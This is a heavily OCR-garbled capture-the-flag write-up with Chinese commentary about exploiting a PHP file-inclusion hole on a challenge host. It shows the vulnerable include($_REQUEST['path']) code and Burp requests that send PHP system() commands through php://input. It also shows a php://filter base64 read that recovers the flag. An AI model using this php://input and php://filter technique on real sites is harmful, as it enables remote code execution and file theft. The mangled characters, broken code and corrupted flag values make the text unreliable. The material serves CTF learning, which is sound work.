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<?php

show_source(__ FILE_ );
if(isset($ _REQUEST[ 'path'])){
include($_REQUEST[ 'path']);

}else{
include( 'phpinfo.php");

B H Bl phpinfo T H :

<« Cc @ @® 9e9ea7df13a44885b9b3b4557082163d4284cf3631e04c07.changame.ichungiu.com BE e 1Y In @0 & & & 1 !

<{?php
show_source(__FILE_ )
if (isset (S_REQUEST[ path’])) {
include ($_REQUEST[ path’ 1) ;
Jelsel
include (" phpinfo. php' ) ;

1
}
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Php

System

Linux 6218b317483c 4.4.169-1.el6.elrepo.x86_64 #1 SMP Fri Dec 21 11:47:22 EST 2018 x86_64

Build Date

Dec 13 2016 00:04:38

Configure Command

/home/buildozer/aports/main/phpS/src/php-5.6.29/configure '--build=x86_64-alpine-linux-musl* ‘-
host=x86_64-alpine-linux-musl’ *--prefix=/usr' --sysconfdir=/etc/php5' '--localstatedir=/var' *--with-
layout=GNU" *--with-config-file-path=/etc/php5' '--with-config-file-scan-dir=/etc/php5/conf.d’ *--enable-
inline-optimization' '--disable-debug' '--disable-rpath’ '--disable-static' '--enable-shared' '--mandi
/share/man’ " with-apxs2' '--enable-bcmath=shared' '--with-bz2=shared
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#ZE—F allow_url_include HEEREITIF:

‘ PHP Version ‘ 5.6.29

allow_url fopen QFf Off

|_ allow url include] On On
“always_populate_raw_post_data Y U
arg_separator.input & &
arg_separator.output & &

FTFFE), BT CAEFHphp:/inputthil, i postfgid S #<?php system("ls");?>
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B! Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz - O >
Burp Intruder Repeater Window Help
[Target T Proxy I Spider T Scanner T Intruder M Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts 1
Go Cancel < | > Target: http://9e9eadi13a44885b9b3b4557082163d4284cf3631e04c07.changame.ichungiu.com _’. ?
Request Response
Params | Headers | Hex [ XML E Headers | Hex
GET /?path=php:/finput HTTP/1.1 & HTTR/.1 200 OK .
- -
Host: 9eBeardfl 3a44865b9b3h4557082163d4284cf3631204c07 . changame. ichungiu. com Date: Wed, 12 Jun 2019 07:46:25 GMT
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:64.0) Gecko/20100101 Content-Type: text/html; charset=UTF-8
Firefox/64.0 Connection: close
Accept: text/html application/xhtml+xml,application/xml;g=0.9 */*, q=0.8 Wary: Accept-Encoding
Accept-Language: zh-CM,zh;g=0.8 zh-TW,g=0.7 zh-HIK;g=0.5 en-US;¢=0.3 en;q=0.2 X-Via-JSL 7237956 -
Accept-Encoding: gzip, deflate ¥-Cache: bypass
Connection: close Content-Length: 805
Cookie: __ jsluid=48c326599245e76a5a9fB12854df1 372
Upgrade-Insecure-Requests: 1 <code=<span style="color #00000"=
Content-Length: 24 <span style="color: #0000BB">&It;?php&nbsp;<br />show_source</span><span style="color:
#IO7700">(</span><span style="color: #J000BB">_ FILE__ </span><span style="color. #007700">);<br
I=if(isset(</span><span style="color. #0000BB">$_REQUEST</span><span style="color:
<?php system("ls");?> #I07700">[</span><span style="color. #D00000">"path'</span=<span style="color: #07700"=])){<br
/>&nbsp;&nbsp;&nbsp;&nbsp;include (</span><span style="color: #0000BE">$_REQUEST</span><span
style="color: #07700">[</span><span style="color: #DD0000">"path’</span><span style="color
| #O07700"=])<br />}else{<br />&nbsp;&nbsp;&nbsp; &nbsp;include(</span><span style="color:
 #DD0000">"phpinfo.php’</span><span style="color: #I07700">);<br />}<br f></span>
<fspanz
<fcode>
dle345aae.php
index.php
phpinfe.php
- e
L 5
? < + > | | Type a search ferm 0 matches ? < + > | |Type a search term 0 matches
Done 1,003 bytes | 100 millis

H#EH php://filter/read=convert.base64-encode/resource=dle345aae. php BLEU LN 2 :
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<7php
show_source (_ FILE__J;
if(isset($_REQUEST[ path’ 1)) {
include ($_REQUEST[ path’ 1) ;

telsef

}

include( phpinfo. php’ ) ;
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BASL
<?php

$flag="flag{e1018963-8b57-43ea-9e90-083948170a8e}"

O O 9 {:f (® 9e%ea/df13a44885b9b3b4557082163d4284cf3631e04c07.changame.ichunqgiu.com/?pa

ERCTFRAYE

PD9waHAgCIRmbGFnPSImbGFne2UxMDE4OTYzLThiNTctNDNIYSO5ZTkwLTA4MzkOODE3MGE4ZX0iOwo =

BASEG4

PD9waHAgCIRMbGFnPSJmbGFne2UxMDE4OTYZLThiNTCtNDNIY S0
S5ZTkwLTA4AMzKOODE3MGE4ZX0i10wo=

< BASEG4ERS

W LE B4R S fE  php://input :

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help

[Targel I Proxy I Spider T Scanner I Intruder IRepeater I Sequencer I Decoder T Comparer

I Extender I Project options I User options IAIerts }

Go Cancel < |* > |
Request
Raw | Params | Headers | Hex | XML

Target: hitp://9e9ea7di1 3a44885b9b3b4557082163d4284cF3631204c07.changame.ichungiu.com @ @

Response

Raw | Headers | Hex

GET /?path=php:/finput HTTP/ 1

Host: 9eSear dfl 3a44885h9b3h4557082163d4284cf3631e04c07 . changame. ichungiu. com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv:64.0) Gecko/20100101
Firefox/&4.0

Accept: text/html application/zhtml+xmlapplicationfxml;g=0.9 " q=0.8
Accept-Language: zh-CM,zh;q=0.8 zh-TW,;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: _sluid=48c326599a45e76a5a9ffB2085df1 372

Upgrade-Insecure-Requests: 1

Content-Length: 39

<?php system("cat dle345aae.php");?>

HTTP/A.1 200 0K

Date: YWed, 12 Jun 2019 07:53:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Vary: Accept-Encoding

¥-Via-JSL 326babd,-

¥-Cache: bypass

Content-Length: 828

e

<code=<span style="color; #00000">

<span style="color: #000BE">&lt;?php&nbsp;<br />show_source</span><span style="color:
#O7700"=(</span=<span style="color #0000BB">__FILE__ </span=<span style="color #07700"=);<br
I>if(isset(</span><span style="color. #0000BB">$_REQUEST</span><span style="color:
#IO7700">[</span=<span style="color. #DDO000">"path’</span=<span style="color: #O07700"=])){<br
/>&nbsp;&nbsp;&nbsp;&nbsp;include(</span><span style="color: #0000BE">$_REQUEST</span><span
style="color: #007700">[</span><span style="color: #DD0000">"path'</span><span style="color
#HOO7700"=])s<br /=}elsef{<br />&nbsp;&nbsp;&nbsp;&nbspiinclude(</span=<span style="color:
#0DO0000"="phpinfo.php*</span=<span style="color: #07700"=);<br /=}<br f=</span>

<fspan=>

<fcode>

<?php

$flag="flag{=1015963-8b57-43ea-9e90-083945170a8=}";
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Done 1,026 bytes | 69 millis
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